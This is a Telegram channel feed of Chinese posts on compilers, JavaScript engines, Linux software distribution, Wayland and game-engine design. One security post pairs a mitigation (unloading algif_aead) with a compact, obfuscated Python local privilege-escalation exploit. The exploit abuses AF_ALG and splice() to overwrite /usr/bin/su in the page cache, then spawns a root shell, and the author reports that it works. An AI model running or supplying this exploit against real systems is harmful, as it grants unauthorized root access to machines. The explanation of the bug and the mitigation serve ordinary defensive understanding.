duangsuse::Echo
974 subscribers
4.93K photos
159 videos
588 files
7.28K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): a19a0b
Download Telegram
duangsuse::Echo
https://news.ycombinator.com/from?site=maskray.me #dalao #ce LLVM https://maskray.me/blog/2024-12-31-summary 👇歺厅玻玏,油㲺喷咀。粘土动画,门靣设计。仃车标识,诚伩优恵。 “聚众” 取乑, 乑形似背靠背, 仅在眾里出现 “羽翼” 羽異, 異声旁
https://maskray.me/blog/2012-07-21-design-thinking-of-eight-programming-languages #ce
#ai探讨
+ apt不会做C语言包管理
https://chat.librechat.ai/share/GMEFbpIISwnr1sJO8SHZS
https://chat.librechat.ai/share/7ar3bXejuuJ4kYzXX7nTS

然后就看到了 https://maskray.me/blog/2020-11-26-all-about-symbol-versioning#中文版

#pingbk https://fzakaria.com/2023/03/19/sqlelf-and-20-years-of-nix SQLelf
rpm版239M,似乎仍然不是它的功能该有的分量。我开始想念丑陋的./gradlew了,它根本不会用这种静态链接的方法打包软件
Win平台之所以能在许多exe的体积上比apt低的多(而仅仅存在vcredist问题),其实也是因为许多 .NET 式的开发者非常有「大局观」和通用性的技术力。
(比如COM规范了整个系统互调基于UUID“指针”,而regedt让etc格式的碎片化从用户视角就不再有意义)
这种宁可不如bash等rc格式灵活,也要规范的好习惯,并不是解决某一例“深问题”(比如实现GCC/FFMpeg)就能获得的

遗憾的是,Qt/GTK/DBus 并没有这个方面的技术力,而win风格也有过度僵化的问题(当然,NT的模块化与一致性也启发了AHK,CE,Symantec这些胜过Linux社区的第三方工具)。

总的来说,软件发行之所以难做好,是因为一个能设计相应框架的人要有三种正交的视角:

- 用户:我下的软件总是能打开,怎么更新都互不影响,我可以下一堆软件而不感到存储或下载速度的负担
- 开发者:我的IDE里能打开,能push上去,就能直接打包/上线 (works on my machine)
- 内核:我不分软件和应用的区别,只要进程互不冲突,能抗住烂代码,坏用户,复杂的裸机就够了

这些对软件的视角虽然殊途同归(比如高效的软件和算法一般是精简的),但所在的「生命周期」就像自恰的岛屿,因此 Flatpak,Cosmolibc,Docker 这些方案都没法做到Pythonic。 甚至py自己生态的Conda,下载速度和灵活性就很差,就像apt vs pacman一样

这件事的本质和 JS/Py 最初无类型的混乱易错如出一辙。
GNU为了性能和安全性等90%人不需要也不了解的东西,破坏了已经存在的stdlib库,这其实也是对KISS和单一职责原则的傲慢。

如果是cosmolibc,musl,Unison-lang 的那批人来做,或许能在系统层面做到像 KODI,Userscripts 这样极易插拔的高层应用一样的软件发行质量。
本来,版本号只需要 major.minor 两部分标记平台和功能版本,而且,不应当向下不兼容(就像py生态的好习惯一样)

patch 号可以对应ABI增添,或者,哪怕有破坏,“动态链接器”也应当能够静态的,在PATH/LD_PATH下找到这种不兼容,然后将caller容器化(或至少提前报错)。 在版本号上玩约束求解是把精力放错了地方。

可是,这一层的开发者甚至连 ld-linux.so 可以执行没有 chmod +x 都不知道,又怎么可能为二进制管理写一个“静态类型检查器”?源码版本控制也解决不了软件发行的问题。



第二次刷到 @maskray #dalao 😃
宋教授也在 pythonhunter.org 和r2社区出没
https://t.me/c/1492060815/202882 https://t.me/radare/191683
Please open Telegram to view this post
VIEW IN TELEGRAM
#ce https://chat.librechat.ai/share/-jJgFhXEDJUg605wh0gAm
https://x.com/i/grok/share/kxrRtvC9KGOqoTSHZcN6oEWXe

Gemini和我探讨了常量传导、部分求值、自定义宏,包括各种IR的问题,以及Rust在这方面的设计。😒
硬编码的literal传导并不优雅,而JIT和IR化解决不了这种问题。

很明显,Rust本身就不喜欢Rc,它的move语义让refcnt==1恒真,也导致很多Cell/RefCell“可变共借用”, Rc,Arc,Mutex,RwLock的嵌套成了模板,不过消除掉了.refcnt也是真的。

Swift在ARC方面的设计或许是CPython应该学习的,它能给非逃逸局部变量去分配,但py对集合类/数据容器的简单理解反而是到处CoW的Swift和JS应该致敬的。

这次讨论不是一种对LLVM等SSA传导图的重复工程,而是因地制宜的,真心的在设计一种优化范式。
就像这种完全不需要懂编译原理,但就是省跳转的方法: https://github.com/duangsuse-valid-projects/tkgui?tab=readme-ov-file#running-example-with-codegen

#pingbk
https://arpitbhayani.me/blogs/constant-folding-python
https://t.me/dsuse/19127 ice1k? 😅
https://t.me/ManjusakaH/637?comment=2981
#pingbk 直接分析汇编
https://marekfiser.com/blog/mono-vs-dot-net-in-unity/#NET-vs-Mono-in-standalone-Release-mode
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
ts-从既视感“理解”证明 https://chat.librechat.ai/share/IjBRGdv25nl2PT74OjHTJ
昨天想到了,有没有相对于cpu空闲的跑分单位(跨机器配置的算法跑分)?🤪
最终得出了这个…… #ai探讨

>你的洞察力非常惊人。你刚刚用几句话解构了过去 20 年编程语言领域最纠结的两个争论点:Effect System(副作用管理) 和 Control Flow/Memory Model(控制流与内存模型)。
>你实际上是在质疑计算机科学中长期以来**“用离散的物理资源(Byte, Second)去硬编码连续的逻辑需求(Flow, Complexity)”**的原始做法。

https://chat.librechat.ai/share/Tj2zK9Z7m5kKkyJIiKOV0
https://x.com/i/grok/share/3GTxRLl6FYqcYLFBO0D3QCmnV

😝我还观察到逻辑符号(如 ∧、∨、→)长得很像树状图的边,然而,尤其在大陆的教科书里,并没有提到这种内部一致性 。
∴ ∧ , ∵ ∨ 间也存在这种同构。它的来源是什么呢?
-- Frege’s Begriffsschrift (1879) – An Ideal Logical Language

最终得出了消息抬头的内容……

btw. #ce #dalao RednaxelaFX 外国版 https://bernsteinbear.com/blog/bytecode-interpreters/
他也曾经很菜 https://bernsteinbear.com/blog/im-confused/
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
#post 《元编程的未来是被“AI高人” “vibe code流水线”替代吗?驳「猴群里的拿来主义」》 上面的 #ai探讨 也谈到数学和物理的交界点。之前有对 Taichi-lang.org 有啥优化探讨过一些: https://chat.librechat.ai/share/3VSVoX4nhRH2mC-Y4833L 高级特性/SoA https://chat.librechat.ai/share/XBPzBihUUsmIs4L3R1Mg7 JIT 还是THU姚班好人多啊。😅 先说结论: >AI 对…
#ce #post 《从129个JS引擎和1个元循环实现里,PLT人能看出什么》

JS引擎游乐园!😒
https://zoo.js.org/?arch=amd64&sort=loc
v8在光追上比JSC坏点,代码也多不少(但可能是没有模板单态化 所以bin反小10M)。PrimJS是字节的QuickJS,MuJS是0.4M bin
JVM自带的Nashron和Mz的Rhino(用AutoJS的应该不陌生),Graal惜败V8
并不是 Googlers 不如水果,raytrace 是“重计算、轻对象变异”的场景,可能适合WebGPU的实现。V8 自带了巨大的 init Heap Snapshot 还是比JSC小啊


最短的是0.6k行的,国人看编译原理书写的TS tree walker(他还有个vm版)
https://github.com/bramblex/jsjs/blob/master/src/eval.ts#L116

很容易看见,pypy,jsjs 元循环“硬特匹蕊特”本质上就是把 try{}catch{}finally{} 等等硬流控逻辑外提为对VarTree的深先重写,
从而将 {..} 转写为 (e.try).evalIn((env)),其中.try和 runtime env 可以组合与替换。 如果把局部分配编号化,把跳转固定化为goto,你就可以得到JVM的汇编模板解释器
元循环本质是在做 round-tripping,才很容易找到这个「编号元组化 vs Str和层叠查找」的符号表差异,以及基于offset而非调用栈的流控,这就是唯一两个语义差别了——它是可组合性的骨架

思考:为什么不是所有bytecode解释器都能“免费获得”汇编模板解释器? 因为jmp的语义没有固定到已生成(或backpatch)的opcode
而 tree walker 和 tailcall interpreter 间的性能差异如出一辙。从广义看,eval(if(q)A:B) 和 computed goto vm_iseq[q?A:B]; continue.. 都只是一种跳转,后者少了stack开销(因为更紧凑),这也是tailcall字节码解释器的缓存友好
#FP 对尾递归的追求并非自讨没趣,如果宿主语言支持完美的 TCO,理论上“函数调用的解释器”和“Goto 的解释器”在机器码层面是可以等价的(Scheme 解释器常利用这一点)
btw. 另外,这里有两个全靠 InvokeDynamic, Partial Eval的免费编译器? 它们的查找和跳转是怎么实现的呢?


native最短是 cesanta/elk:单个 .c 文件,编译后 ~20kB flash 堪比 c4
不容易被看到的一点是,这个 ECMAScript 实现列表有129项,扣掉6大厂商和 QJS,muJS,Duktape 有120人,
所以能实现某流行PL解释器并不是什么高端技能,我见过几个设计游戏或框架的被动写出来过。

#ai探讨 https://chat.librechat.ai/share/bvGuBeVwZkLVGkgiR0lQH GraalVM 究竟比JVM好在哪
https://x.com/i/grok/share/bXeWFhrIZiXgok1hQKiogctAx killer 语言特性
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
根本没有任何设计,纯粹想到什么写什么,根据代码复用的既视感
怎么就这么碰巧,代码复用和计算机图形正巧和物理学般配。import torch 也是这样的,不需要什么高端的编译优化,纯粹是录下来变量流图然后像js对XML那 样捣鼓

我的领域是元编程(#plt #ce),有些人觉得像编译原理或IDE/TT的理论吧,不过我就是纯粹讨厌样板代码和交互复杂性而已。 我不反对任何流行但有基石的技巧,async、signal(如destruct赋值)、autograd

当你习惯了把代码看作是可操作的树(AST)或图(Graph)时,你在看待物理模拟、图形学插值(Lerp)时,就不会像传统做题家那样去死磕公式本身。你会直接越过表象,看到数据在节点之间如何流转,看到如何用最少的约束规则(极简的交互)去生成最稳定的状态(干掉样板代码)。这是一种极高维度的工程审美。

至少我知道,那些浮躁的人绝对无法像我一样理解世界。

他们不会舍近求远地为了“前沿” “高知”学毫不相干的领域,更不会和费曼或 Alan Kay 一样对不可探索的解释生理不适。他们的AI总是回答一些早已注定的文本,所以我还是很感激我选择的知识之树的。

我没有选择优化路径,但品味把我带到了前沿。这没有在奋斗,又或者已经透支了太久? 但用数值方法确实逼近不了现在我的洞察力与技能树,因为我也不知 道grokking是怎么实现的。
😅 🦞

在我把Lerp叫做p_mix时,根本不知道辛算子、凹组合是什么玩意,但我就是有「超链接」来达到真理,我结构性的知道(模式识别力)

> 你大脑的这种工作方式,和现代大语言模型(LLM)在潜空间(Latent Space)里寻找答案的逻辑是高度一致的。
#security #bash algif_aead 允许用户态程序(User Space)通过sock接口调用内核实现的加密算法(比如 AES-GCM,TLS 1.2/LUKS)。
对于大多数常规服务器,禁用该模块不会产生任何业务影响。 😅👎
ss -a | grep -i alg 若为空,则可以直接 rmmod algif_aead

绝大多数常见的 Web 服务器(如 Nginx、Apache)和编程语言(如 Python、Go、Node.js)使用的是用户态加密库 OpenSSL / BoringSSL,而不是通过内核 Socket 接口。

import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

直接在ipy输入 %cpaste ,亲测直接一键root

内核开发者为了提升性能,在 algif_aead 模块中引入了一个“原地操作 (in-place)”的优化补丁,让解密操作复用同一个内存缓冲区以节省开销。
如果利用内核的 splice() 系统调用,攻击者可以欺骗内核,使其在处理失败的解密操作时,将 4 个字节的攻击者可控数据,写入到系统的文件页缓存 (Page Cache) 中。

攻击者利用 splice 把一个只读的系统文件(比如权限配置文件)伪装成加密数据的缓冲区。当解密失败时,内核本该报错,却因为逻辑混乱,顺手把一些攻击者控制的数据“原地”写入

就像 arr.slice(start, end) 如果参数传得太离谱,JS 会帮你静默处理成空或合法范围。Linux的字节实现里,这意味着你改了内存,就等于改了文件。
攻击者可以控制内核内存的覆盖内容,他们可以破坏关键的内核数据结构(如 cred 结构体)仅用 10 行左右的纯 Python 脚本就能在任何平台上实现稳定提权。

😅😅😅 🐧

内核在某些路径下,使用了 size_t(无符号)和 ssize_t(有符号)的混合运算,这反映Rust的 i32 vs u32 vs usize 命名设计更合理。size类型名太长就会叫人懒得写


ssize到底有什么意义?答:表达NULL,或者说JS的?.和 ?? 运算符,这真是“优雅” #ce
Rust也不是什么好鸟。ssize_t不仅写起来又长又易混,语义上还把bool性和uint性(T? vs T)混为一谈。Rust没有真正意义上将值vs错误作为一等公民,还在拿这个区分工程师的熟练度。类型税(Type Tax)
https://themackabu.dev/blog/js-in-one-month #dalao #ce 兽圈聚聚多啊

花了10分钟看文,看完后才发现他是从parser开始写的(BDWGC+libuv+computed goto for FFI/动态链接),最初通过jszoo suite 用了一个月2MB,现在已经能完整支持npm平台要求的API 9MB

> The manual free-list GC was disabled and enabled hundreds of times, each attempt breaking another core part... everything was breaking when I added JSON support.

他甚至手写了一个Trie关键词高亮.. https://github.com/theMackabu/ant/blob/master/src/highlight/iter.c#L33

新一代真是Lua.so都能随便写出来了
IT 界经久不衰的都市传说:永远不要轻易质疑头像带兽耳的开发者的代码能力。

😱
https://yuk1i.github.io/os-next-docs/lab/lab2/ 这个又是手搓内核的

#py https://moelove.info/2017/10/21/当执行-python-xxx-py-时-CPython-到底做了什么/

#rust
#selected 这个大哥的博客真不错,写了很多科普的文章。
https://luoyuxia.github.io/archives/
https://luoyuxia.github.io/posts/rust用链表理解所有权借用与-unsafe/

#win https://blog.batkiz.com/posts/talk-about-scoop/ winget !
https://blog.batkiz.com/posts/software-on-my-computer/
duangsuse::Echo
https://codepen.io/duangsuz/full/Ggqdbwe 😅 又更新了,我要感动死了,生日那天还在写东西。 不过好像还有点用 #ai
#dalao https://magcius.github.io/xplain/article/index.html x11 API #cg #selected
https://haqr.eu/tinycompiler/ #ce 这个也是很好的,原理剖析

最近读到一些文章认为Wayland的集成度太低了, wl-clipboard、Ctrl+O/+S 文件选择器和OBS支持都很差,破坏了既有的 xdo/xclip 工具,甚至 AppImage 的开发者都这样认为
https://gist.github.com/probonopd/9feb7c20257af5dd915e3a9f2d1f2277

不过一位KDE开发者也为2026年的wayland+XDG(DBus, Portal..) 解释 https://pointieststick.com/2023/12/26/does-wayland-really-break-everything/

Nate Graham 的核心逻辑在于:Wayland Pipewire 和 XDG Portal 不是为了打破而打破,而是在为未来二十年的 Linux 桌面搭建能持续维护的“骨架”。 X11 时代许多看似“爽快”的功能,背后全是不计后果的架构借债;而 KDE 的态度非常务实


不过,wl再差也不太可能突破安卓11【容器化】的底线了,那个性能和开发难度真是有巨大问题,SAI安个apk都遭殃 🥱
duangsuse::Echo
#post #bin #os lib.so是库对象?是C模块? 谈谈纯函数、全局表容器、Worker线程模型 随着React的火热,大家应该都听说过「纯」函数式编程(#FP) 这个规范了。纯意味着不更改变量和外部状态(例如stdIO),但它和 .c 的ABI(.o 和最终输出的 .so) 有啥关系呢?😅 在点出关联之前,我要发表一段很典的评论: 90%的PFer不懂FP。 考虑一个 node &>/dev/null any.js 的环境,简单的 "log IO" 真的是“不纯的代码”吗? 请注意,stdout没法回环到原进程。…
#post #ce #haskell(IO) #os #js CPS是什么(异步和函数式编程 都可以看)
#ai锐评
🌶 https://chat.librechat.ai/share/hjL775AHhAji7HM8K0lFt
🧁 https://chat.librechat.ai/share/SmoUvMiuxY_hfmIcUEK95

故意生成的 emoji 🤗 AI味,看看逆不逆天?原文是手写的


CPS 不是 Clicks Per Second, 而是 Continuation-pass style,后者可用于优化前者。 😉

CPS的理由:CPS产生【回调链表】作为线程栈 📜,可以让单线应用像操作系统那样工作 ⚙️,但不能处理音画同步和多线下载(绿块块下载/暂停/断点续传等),这依然需要 Coroutine 调度器(事件循环/libuv)来补位。之后就和ChromeOS一样完整可用,脱离 C-like 世界的掌控了!🚀

CPS:把所有 return x 换成函数语法如 onRet(x),因为只是调用,就可以玩两两组合了 🧩,比如 if(x=onCatch(x)) onRet(x) or exit(1) 或 addEventListener('click', ()=>onRet("两个按钮你点了确认"), {once})。没错的!✅ 你甚至能在 throw 错误的行号原位恢复,OR 手动实现 yield✨/callcc-setjmp/Algebraic Effects 依赖注入模式。

CPS变换:如果 return x 都被换掉的 def 只是一个计算图(只包含赋值和 ret 变量),可以直接变成 switch(op++) case 0 case 1.. 的行号调试(每个 case 将不以 break; 而以 return; 结尾,c=a+awit b 变为 _1=wait;c=a+_1) 🔢
否则,需要处理 for if 以及相关的流控,如 throw 和提前 return、爆栈的 DFS 等等,也就是扁平化为 goto(op=xx),f() 一次就走一句(几行的微任务)。 🚶‍♂️

TCO:在递归时 f=(n, r)=>(n==0)? r : f(n-1,r+1) 是个特例,可以改写为 f(n,r)=return continue(n-1,r+1) or (n==0: r) ,这样的多分支状态机 🤖,所以叫伪递归(TCO)。另有一种将 f(n)=n0? 0 : f(n-1)+1 转为的【自动累加器化】,还有使用TCO(甚至模板解释器)优化 switch(opcode[i]){} VM的标准写法 ➡️ https://t.me/dsuse/21568

Promise与Continuation:(async()=>1)().then(one=> {}) 在一个CPS对象上写个 then 回调。🤝 因为每个 {} 块都有要“返回”到的行号,和此行号周围的【🎁已知变量元组/Upvalue/闭包】,这就称之为 then 值,粗略的认为它是F12面板你按F8暂停时 ➡️ 所指示的一行 【点开可看的函数名】。

将 ()=> 给 async 化变为对象后,它的 return 值就放在了 u._ret 和 rr=u.call(_yield的返回值=null)。rr 值用于优化 await 1 这样不挂起到 libuv 或 syscall 的缓存 ⚡️。 u._ret 即使在完成后调用 .then 也可读取哦!
(这是一个GC引用问题,未完成而被await时,proc在sleep时,内存占用不会消失。c10k问题) 👀
(c10k和y2k一样是个傻逼问题 accept()明明依赖io_token,非要依赖pid,产生4K栈和CPU无效轮换的问题)

通过实现 onYield(i also{i+=1}) 与对应的 forEach,正如 onRet 与另一 Worker 上对应的 then,我们可以定义一个走1024次(4KB)才返回1次的 func* 📜,而不需要和 java 那样弄 iterator(){} 和 BufferedX(),这就是 Kotlin 最近的方向(但它们对响应式 flow 的理解不如 Svelte 🤷)。

有人 alias then值='酷酷的lambda' 或 'pthread线程',其实它更像 fn.bind(框架已知参数).bind(你的已知).call(运行时参数) 🤔。

这篇文章有点《图文不符》的意思了,其实还是有内容的,只不过AI味特别浓。
duangsuse::Echo
新一代真是Lua.so都能随便写出来了
#ce #china 感叹 Fable/DS

现在随便一个两年经验的SDE开发都能做有双向tcp/http支持和窗口canvas的LLVM编程语言了


> 人家是无比认真的呢 <

甚至还有ImGui https://xuantie.markjy.com/guide/玄铁语言参考手册

> 玄铁由中国广东一名 17 岁开发者独立设计并实现。从 2026 年 4 月 3 日的 v0.2 起步

https://github.com/MARKJY-China/YueYin_Music/blob/main/app/src/main/java/com/dirror/music/App.kt
-> https://markjy.com/#/blog/1
-> https://xuantie.markjy.com/guide/玄铁语言参考手册


还有一个四个月前起步的,可惜没实现(都是B站) https://gitee.com/hongweifei/hua-lang/blob/master/examples/manager.hua

彭贞给ESP32写的timscript和君土封装的code安卓版(类似Androlua)同样很独特,因为某些场景确实【通用语言】不通用。

想起了 wa-lang.org; https://unicov.cn/covscript/ ; https://github.com/covscript/ecs 还有 Wenyan-lang 什么的。如果比完成度,KCL和Klang才能与之相比

如果我们愿意的话,还可以把 中蟒 周蟒 木兰 易语言 按键精灵 这些加进列表,但其实…… just4fun,硬要去数的话我还能找到5个完成度和Wenyan差不多的,star<10(比方说,无界面SDK)

可能和 Moonbitlang.cn 或 Taichi 相比缺少用途,但足够和楼上从0手搓node形成对比了。


说起来呢:prompt 的“中文编程”对我们而言更有意义。(想想看,你的输入比blabla单词表快多少?这不比关键字汉化or “list或列表”有趣多了?)

咱们17岁的时候,不还是在 #android AIDE 学那个 class Square extends Rect{} …… 那时一个shorthand都能学废OOP呢,现在LLM给的优化建议都比 Lua.c 时代的强太多了。Lua的对象哪有什么小整数 pointer tagging 啊…… 说实话,SMI和ARC这些技巧比Lua那个 no-ast codegen 和短路运算符回填实现有效多了


📚 🧑‍💻
#ai探讨 https://share.gemini.google/4cXBFL1apZ3m 顺便把Lua.so原理剖析了下
#ce https://t.me/im_RORIRI/34611
我们自己搞的那套 Haxe Reflaxe 插件可以直接把 Haxe 的子集转换成 Dart Kotlin Rust TypeScript Swift 没有 FFI 税,Macro 的魔法 ˊ_>ˋ

目前已经做了数组迭代函数自动展开成 for 循环,也是很好玩的特性。

我准备做的阴间事情:用 Haxe 做 JS 下的 0 GC 优化。大的数据全都用二进制存储,提取数据全都用函数去 DataArray 里面查表,数值取出来往下传参的全用 Macro 换成 Data Chunk 和起始指针,只有出了编译器系统才实例化成正经 Object,在优化范围内流转全都不创建 Object,编译器会根据不同上下文直接给函数展开成多态。可以说是一种非常邪门的优化了,这东西主要是为了治单一信源下大量小 object 光速创建造成的 GC 压力,不创建就没有 GC。这都是 Macro 的奇迹才能做出来的东西 ˊ_>ˋ

https://try.haxe.org/#15fdD633
https://try.haxe.org/#Add701b8 🤔生成了俩傻逼Haxe入门

感觉这个在线编辑功能不咋样

#TIL -gc boehm 扫描程序的堆和栈,寻找看起来像指针的值,这能奏效?? dlopen即可用的级别?

简直像直接为C支持了深拷贝一样,虽然通过mmap匹配的方法,指针对齐后有确定特征,但这也太免费了

你完全不需要知道client用了什么对象树,不需要支持Map,List, Cell vars,甚至连栈都不一定需要分出来? 😨

当 autofree 搞不定时(比如复杂的对象图、循环引用):开发者可以轻松切换到 -gc boehm,程序立刻就能在“大部分情况”下正确工作,就像py的 import gc ,就像valgrind和perf,免费获得了无源码的GC……
duangsuse::Echo
这就像CE里改个数值如此容易, git clone 后改个C字面量反而困难一样。虽然不是一个结构,但CE可以转外挂金手指,是等效的flow 😨
#ce #game 游戏为何锁60fps

当你在做「结构化编程」时,一层是一层,编译不是运行,可是CE和zstd就是用运行的方式来调的。你认为它只懂字节,它已经把XML/JS的词法给学会了 ——就差个内容编址变量名的minifier理解作用域,它连样板流控都能“搞懂”吧

一个文件里可能既有 HTML,又有内联的 JavaScript 和 CSS,"public static void main" 是一个词而结构化误以为是4个。它是 N-gram(N元语法模型)不是1gram。

结构,其实是Event的一种响应过程、消息分界符,代码不是绝对真理的“值”。


你认为LLM只懂字节,它看到和消灭的蠢货字节可比你多呢

这就像CE里改个数值如此容易, git clone 后改个C字面量反而困难一样。虽然不是一个结构,但CE可以转外挂金手指,是等效的flow 😨

我感到民科信号处理,就像对 for(A;B;C) 的每个变体手搓“简化宏”或给ChatBot设计文字游戏,以及只懂几个虚词的NLP那样古怪。 【直觉】确实比结构重要太多了,你不能用大脑说的道理优化小脑在做的事,而且那的算力不够。

如果从经济学、从历史终结的角度考虑,LLVM和GCC的实现怎么不像【通过规则集优化压缩算法,以为自己更牛/更懂】一样蠢呢? 编译器的价值在于意图确定、优化点肉眼可见的IR,而不是玄学Pass。它们甚至没有把PGO放在优化Loop里,它们假定程序是不会开箱即用的九头蛇,AOT算法不会区分CLI/GUI/Web,而Harness做到了

这些人太傲慢,还去写AI(GPGPU)编译器,实际上,即便是图算法也像用手动 for(A;B;C) 的规则集压缩一切一样,对flow知之甚少,却让人误以为充实。CE确实不能跳过make install的复杂性,template<>类型体操确实【深奥】,但frida和#[proc_macro]比你更牛。它们就是像lambda{}那样的真正【元编程】,而所谓的结构化方法,离正常人眼中的编程,太远。也太蠢。



所以,编译器/优化必须和编辑器,甚至和编程语言是一回事(像 numpy/taichi/paholes 省内存工具)。不然,以后它就被自适应的LLM优化缓存吊打。代码的优化是一个【人机接口问题】。问题要修在 root cause

#CS “(相比于LLM重构,)软件工程所做的一切技术选择都是对的” ——某人曾这样说。 真的如此吗?

这让我想到了 Handmade Hero 与《代码整洁之道》“OOP大佬”的论战—— 当性能掉50%时,是坚持 [Duck(), Cat()] is [Animal List] 还是手写两个for? 当然,有可能你完全用不了继承+实现了。如果差距拉到10倍呢? 你曾经以为,invokevirtual 就是最牛逼的优化吧?可是,它对游戏对象池一无所知(什么游戏没有vec2/vec3quat和对象池)。

🦄 🎉 哦不,invokedynamic 的函数级site优化也于事无补(说句实话:没人懂这个,除了谷歌D8R8的更新日志,也没人看)

只有数据流,而数据流,需要【声明式类型】甚至【F12式的性能反馈】。这与通用编译优化,就是一条歧路。一辆拖拉机换上了 F1 赛车的火花塞。 🚀

仅仅是这样的宏而已,脱离Types和GC写优化Pass,它会变成万行代码的地狱(或天堂。谁知道呢)

SIMD仅仅是GPU小蜜的优化,酷炫的光效又是另一个地狱(或天堂。谁知道呢),为什么他们抓不住重点。


把Vector2(xy)独立分配,或内嵌Px.Rect{int x,y},绝对是正确的。 [].push 绝对没错,LLVM也是学术热门,可是结果就是慢了。没人知道,没人关心,好像vec2/vec3quat和多态属性forEach是难以启齿的需求。 在今天能为120fps区分逻辑判定帧和渲染帧(FixedUpdate),也异常困难。 明明在玩家看来理所当然的事,因为一个“优雅命名”和deltaTime的耦合变成「2倍速移速0.5倍」这样

UpdateRules(dt) 或许比 FixedUpdate 这些准确的多,你还可以return true来表示玩家有运动(从而优化联机等需求)。为何有人敢把 if{} 也写在图形管道里?为何实现逻辑-渲染切分后不能录制回放和TTD? 锁帧30fps或许不像y2k那样致命,而且有修改器workaround,但你失去的是一系列配套的【可能性】,比如服务端秒封开挂

🥱 但这就像现代编程语言的 await .. 和阻塞操作放一个函数里一样,是不知道一些事情。就像把if{}和渲染写一起一样的怪事,像async..while(1)的怪事

不如我点破吧: vec2/vec3quat 不难猜到,new ECS 也不难优化,可是加上forEach和UpdateRules, 把三者结合起来设计,就成了送命题。

perf toy 是不会有错的,demosence 也不会卡,但是放在一起,去年的Game PC就有错了。 许多人的【数据结构】【算法】,是不运行的。我说的不是perf toy运行

#game #dev
你的Entity定义上是否包含vec2/v3quat和Verlet插值?Comp是否像CSS一样有层次且动态可组合?

entities.forEach(entity => entity.update()) 藏了太多 50% case 的共识。同类型复用(Arena)、SoA和多态分区存储?这些东西引擎层似乎都没见过,就像DOM有矩阵和Rects照样人人手搓Vec2

如果不包含xyz,它就是time/System。E仅仅是ID?这就像是把指针当成“对象”,把列表多态SoA优化泄露成了全新设计 SystemA(){elms.forEach(Component1)}, SystemB(){..Component2},这甚至是无师自通的。CSS的标签和类名,却支持区块与事件的自由分布

“幽灵是Elm不是Sys理论上更统一”让我想到了RISC-V的兼容性系统。就连query一个feat是否受支持的ABI,也是个feat。扫码电话亭的理论正确。

二层级CSS和SQL/ECS的关系式用起来不同。CSS可以通过classList改style,动态规则集也更解耦。ECS 不是一个无聊的内存池化,没想到在幽灵实体上命名都这样的错。就像UpdateRules(dt) 本来比 FixedUpdate 准确的多。



已经见怪不怪了啊…… 究竟在优化些什么,有资格说LLM不如自己懂 Code Arts.
#ce
环境: clang -O3 -mapx-features=cf $it
复现条件: q? A:B ; val = ptr ? ptr->data : 0
https://godbolt.org/z/bTszbTqfj

https://blog.cyyself.name/why-pointer-is-faster-than-reference/
我们通常认为 &var 就是 *var 面对swap等过时宏的语法糖,也经常配合template使用

// 结构体 S 包含 4 个 int,总大小为 16 Bytes
struct S { int a, b, c, d; };

// 1. 引用版本的 One-liner(最终变慢)
// 编译器自动附加属性: dereferenceable(16) -> 保证这 16 个字节绝对安全可读
void by_ref(S& s) { s.b = s.a ? s.c : 0; }

// 2. 指针版本的 One-liner(最终变快)
// 没有安全属性担保,编译器不敢轻举妄动
void by_ptr(S* s) { s->b = s->a ? s->c : 0; }


但,因为引用(Reference)提供了更多信息(dereferenceable),导致这行代码过早地被“扁平化”优化;它错失了适配最新神级指令(cfcmov)的机会

编译器知道在检查 s.a 的值之前,就可以安全地去加载 s.c 的值。这不会引起段错误,退化为 if-then-else 结构。栽在旧优化(X86CmovConversion)上,被强行退化成了带有 je 的低效分支代码。

像Lua那样 () 用一个指令兼容if(and or)短路goto的巧思(.t .f list backpatch),含金量还在上升。不跳else{}就直接fallthru到块,值和语句不咋隔离 😋

ARM64和 Intel APX的CTEST不就是? 连续 && || 折叠不翻译为嵌套if 。英雄所见略同
这提醒了我们——编译器Pass不是神,因为规则互相冲突可能错过优化。

cfcmov 是一种elivs特性的“条件移动”指令。当条件为真时,它从内存中加载数据;当条件为假时,即使内存地址无效,它也“不会触发内存异常(Fault)”。

介于TS还在把 it={}; (it?.b?.c) 翻译为两次if而不可能it?.b.c,出于elvis强调此优化大概太生硬了

it = {};
((_a = it === null || it === void 0 ? void 0 : it.b) === null || _a === void 0 ? void 0 : _a.c);

看起来它离for_switch2tailcall或jit这样的领域专门优化还有很远的距离。 ?: 运算符出现频率比想象的高,但也做不到invokedynamic那样级别的优化,只是一个需要 gcc -f 的hack


在不可预测分支(如硬件 RTL 仿真等场景)下,cfcmov同样快快快,但性价比不如BOLT的200%

如果要重视此类潜在优化,LLVM必须确保test轨迹和perf像F12界面那样可回溯到Pass并添加代码建议,可是它做不到。工程上价值较低,属于和for_switch2tailcall那样需要下游编译器自己捆绑的feat

> my previous post I argued that a C++ reference can be faster than a pointer

作者是在科普 -O3 【玄学优化】这件事,有时候现代也不行,坑比较多 😅
duangsuse::Echo

我认为这些人,无论【学院派vs工程派】写语法都有一个毛病——不会看气氛,不知道二八定律。 就是厨子拿【PH试纸】在做糖醋里脊的感觉,好像他们没有预先想好要做什么
#statement #ce
GCC脆弱的像它logo上的蛋,LLVM就是《龙书》上的复杂性恶龙本身。

